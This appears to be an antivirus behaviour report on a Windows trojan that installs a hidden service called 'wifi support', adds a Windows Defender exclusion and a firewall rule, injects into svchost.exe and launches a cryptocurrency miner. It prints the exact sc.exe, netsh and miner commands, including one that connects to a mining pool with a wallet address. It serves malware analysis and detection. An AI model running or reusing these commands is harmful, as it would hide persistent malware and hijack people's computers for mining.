Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\gqetrkhv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\gqetrkhv] 'ImagePath' = '%WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\gqetrkhv] 'ImagePath' = '%WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe'
Creates the following services
- 'gqetrkhv' %WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe /d"<Full path to file>"
- 'gqetrkhv' %WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\gqetrkhv' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bqebuawz.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bqebuawz.exe to %WINDIR%\syswow64\gqetrkhv\bqebuawz.exe
Deletes itself.
Network activity
Connects to
- 'sv####lfheim.top':443
- 'at#######xurycarservices.com':80
- 'de##.##nxnigeria.net':80
- 'wo##.#-poster.info':25000
- 'ev##.phncdn.com':443
- 'om##le.com':443
- 'po##hub.com':443
- 'i.###tagram.com':443
- '10#.47.1.33':25
- 'google.com':80
- '17#.#13.115.156':419
- '80.#6.75.4':419
- '17#.#13.115.155':419
- '17#.#13.115.154':419
- '17#.#13.115.153':419
- 'fa###ool.xyz':10060
- '17#.#13.115.158':483
- '17#.#13.115.157':419
- 'mi##########m.mail.protection.outlook.com':25
TCP
HTTP GET requests
- http://www.google.com/
HTTP POST requests
- http://wo##.###oster.info:25000/ via wo##.#-poster.info
- http://de##.##nxnigeria.net/wp-includes/SimplePie/Decode/HTML/HTML.php
- http://at#######xurycarservices.com/glacierfamilyalert/GlacierBank/Assets/viewer.php
Other
- 'sv####lfheim.top':443
- '17#.#13.115.158':483
- 'fa###ool.xyz':10060
- '17#.#13.115.156':419
- '17#.#13.115.155':419
- '17#.#13.115.154':419
- '17#.#13.115.157':419
- '17#.#13.115.153':419
- '80.#6.75.4':419
- 'i.###tagram.com':443
- 'om##le.com':443
- 'po##hub.com':443
- 'ev##.phncdn.com':443
- '10#.47.1.33':25
UDP
- DNS ASK sv####lfheim.top
- DNS ASK at#######xurycarservices.com
- DNS ASK fr####2.omegle.com
- DNS ASK de##.##nxnigeria.net
- DNS ASK fr####1.omegle.com
- DNS ASK wo##.#-poster.info
- DNS ASK ev##.phncdn.com
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK fr####.omegle.com
- DNS ASK po##hub.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK ma##.#tmailr.com
- DNS ASK i.###tagram.com
- DNS ASK google.com
- DNS ASK fa###ool.xyz
- DNS ASK om##le.com
- DNS ASK in###gram.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\gqetrkhv\bqebuawz.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gqetrkhv\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bqebuawz.exe" %WINDIR%\SysWOW64\gqetrkhv\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create gqetrkhv binPath= "%WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description gqetrkhv "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start gqetrkhv' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gqetrkhv\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bqebuawz.exe" %WINDIR%\SysWOW64\gqetrkhv\
- '%WINDIR%\syswow64\sc.exe' create gqetrkhv binPath= "%WINDIR%\SysWOW64\gqetrkhv\bqebuawz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description gqetrkhv "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start gqetrkhv
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
